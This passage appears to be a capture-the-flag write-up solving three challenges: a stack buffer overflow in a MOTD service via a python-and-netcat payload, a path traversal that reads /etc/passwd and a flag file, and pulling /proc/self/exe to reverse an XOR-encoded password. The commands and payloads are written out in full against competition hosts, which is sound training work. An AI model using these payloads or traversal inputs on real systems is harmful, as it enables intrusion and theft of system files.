Immediately after the start of the function set_motd, the return address is stored in RSP (as it is pushed by the preceding call).
From here, “push rbp”, “mov rbp, rsp”, and “sub rsp, 100h” are executed in order, and the area [rbp-100h] for MOTD input is allocated. Therefore, the total length of 264, as shown below, becomes the length of the meaningless characters at the beginning of the payload.
- 8 bytes for “push rbp”
- 0x100 (=256) bytes for “sub rsp, 100h”
However, note that since gets() appends a null character to the read string, the actual input is reduced by one character to 263 characters.
After outputting the meaningless characters, input the return address 0x606063A5. It will be in reverse order due to little-endian.
$ python -c "print('A'*263 + '\xa5\x63\x60\x60')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¥c``
Sending the payload
Input the payload created above when executing function 2 to obtain the flag.
$ python -c "print('2\n'+'A'*263 + '\xa5\x63\x60\x60')" | nc motd.ctfcompetition.com 1337
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: Enter new message of the day
New msg: New message of the day saved!
Admin MOTD is: CTF{DUMMY_FLAG}
- As an aside
When I tried sending the payload on CentOS 7, it failed because the return address \xa5 wasn’t outputting correctly. It worked on macOS, and the reason for this discrepancy is unknown.
Pwn-Reversing
ADMIN UI
$ nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
Access it exactly as described in the problem statement. The menu to use for obtaining the flag is 2) Read EULA/patch notes.
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version0.2
- Version0.3
Which patchnotes should be shown?
Version0.2
## Release 0.2
- Updated library X to version 0.Y
- Fixed path traversal bug
- Improved the UX
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version0.2
- Version0.3
Which patchnotes should be shown?
Version0.3
# Version 0.3
- Rollback of version 0.2 because of random reasons
- Blah Blah
- Fix random reboots at 2:32 every second Friday when it's new-moon.
The Fixed path traversal bug in Version 0.2 is a hint that this system is vulnerable to path traversal.
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version0.2
- Version0.3
Which patchnotes should be shown?
../../../../../etc/passwd
----- snip -----
user:x:1337:1337::/home/user:
Of the entries in /etc/passwd, the only ordinary user is user.
Which patchnotes should be shown?
../../../../home/user/flag
CTF{DUMMY_FLAG}=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
I searched under /home/user based on a hunch and found the flag at /home/user/flag.
ADMIN UI 2
The problem description states that the password can be obtained using the same technique as ADMIN UI.
According to WriteUps6 and blog posts7, /proc/self is a symbolic link to the currently running process, so the execution command can be retrieved from there. (This was the part I didn’t get.)
printf '2\n../../../../../proc/self/exe\n' | nc mngmnt-iface.ctfcompetition.com 1337 > admin-ui2
^C
$ binwalk -e --dd='.*' admin-ui2
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
182 0xB6 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
98155 0x17F6B Unix path: /usr/include/c++/7
$ mv _admin-ui2.extracted/B6 ./admin-ui2.elf
/proc/self/exe is the running program, so use binwalk to extract the ELF file and remove any unnecessary strings like standard output.
$ nm ./admin-ui2.elf | grep -i flag
0000000041414a40 r _ZL4FLAG
0000000041414a2c r _ZL9FLAG_FILE
$ objdump -M intel -d ./admin-ui2.elf | grep -i flag | head
4141422b: 48 8d 3d 31 08 00 00 lea rdi,[rip+0x831] # 41414a63 <_ZL4FLAG+0x23>
4141429a: 48 8d 3d ca 07 00 00 lea rdi,[rip+0x7ca] # 41414a6b <_ZL4FLAG+0x2b>
414142ca: 48 8d 35 9d 07 00 00 lea rsi,[rip+0x79d] # 41414a6e <_ZL4FLAG+0x2e>
----- snip -----
The symbol _ZL4FLAG can be seen using nm or objdump, and since it looks suspicious, I’ll check its contents.
$ gdb -batch -ex 'x/s _ZL4FLAG' ./admin-ui2.elf
0x41414a40 <_ZL4FLAG>: "\204\223\201\274\223\260\250\230\227\246\264\224\260\250\265\203\275\230\205\242\263\263\242\265\230\263\257\363\251\230\366\230\254\370\272/bin/sh"
Decoding this string as-is results in an error. Since some kind of processing might be applied at runtime, I disassembled it to check. I used IDA for this.

This is the password processing section of ADMIN UI 2. As I’m not used to assembly, I added comments while reading through it. Here, I’m referring to loading a copy of an address as “loading” and copying a value as “copying”.
password= byte ptr -90h
l= qword ptr -10h
i= qword ptr -8
lea rax, [rbp+password] ; Load password input location into rax
mov rsi, rax ; Copy rax to rsi. This becomes the 2nd argument for scanf
lea rdi, a127s ; "%127s", load "%127s" into rdi. This becomes the 1st argument for _scanf
mov eax, 0 ; Copy 0 to eax. The return value of scanf will be stored here
call _scanf
lea rax, [rbp+password] ; Load password input location into rax
mov rdi, rax ; s, copy the value of rax (=variable password) to rdi. This becomes the 1st argument for strlen
call _strlen
mov [rbp+l], rax ; Copy rax (=return value of strlen) to rbp+l
mov [rbp+i], 0 ; Copy 0 to rbp+i
loc_4141449F:
mov rax, [rbp+i] ; Copy the value of rbp+i to rax
cmp rax, [rbp+l] ; Compare rax with rbp+l (=length of the password variable value)
jnb short loc_414144D6 ; If rax < rbp+l, proceed to the following code
lea rdx, [rbp+password] ; Load password into rdx
mov rax, [rbp+i] ; Copy the value of rbp+i to rax
add rax, rdx ; Add the value of rdx (=password) to rax (=rax becomes the address of password[i])
movzx eax, byte ptr [rax] ; Copy 1 byte of rax into eax (=copy the value of password[i] into eax)
xor eax, 0FFFFFFC7h ; XOR eax with 0FFFFFFC7h and copy the result to eax
mov ecx, eax ; Copy the value of eax to ecx
lea rdx, [rbp+password] ; Load password into rdx
mov rax, [rbp+i] ; Copy the value of rbp+i to rax
add rax, rdx ; Add the value of rdx to rax
mov [rax], cl ; ?
add [rbp+i], 1 ; Add 1 to rbp+i
jmp short loc_4141449F
In short, each value of the password is being XORed with 0xC7 as follows.
scanf("%127s", password);
l = strlen(password):
for(i = 0; i < l; ++i) password[i] ^= 0xC7u;
Perform the same process on the _ZL4FLAG value obtained earlier and try decoding it again to get the flag.
$ cat decode.py
password = ''
for b in b'\204\223\201\274\223\260\250\230\227\246\264\224\260\250\265\203\275\230\205\242\263\263\242\265\230\263\257\363\251\230\366\230\254\370\272/bin/sh':
password += chr(ord(b) ^ ord(b'\xc7'))
print(password)
$ python decode.py
CTF{DUMMY_FLAG}
- Side note
Initially, I used a Path Traversal Cheat Sheet8 to look for any other files that might provide a hint besides /etc/passwd, but I didn’t find anything.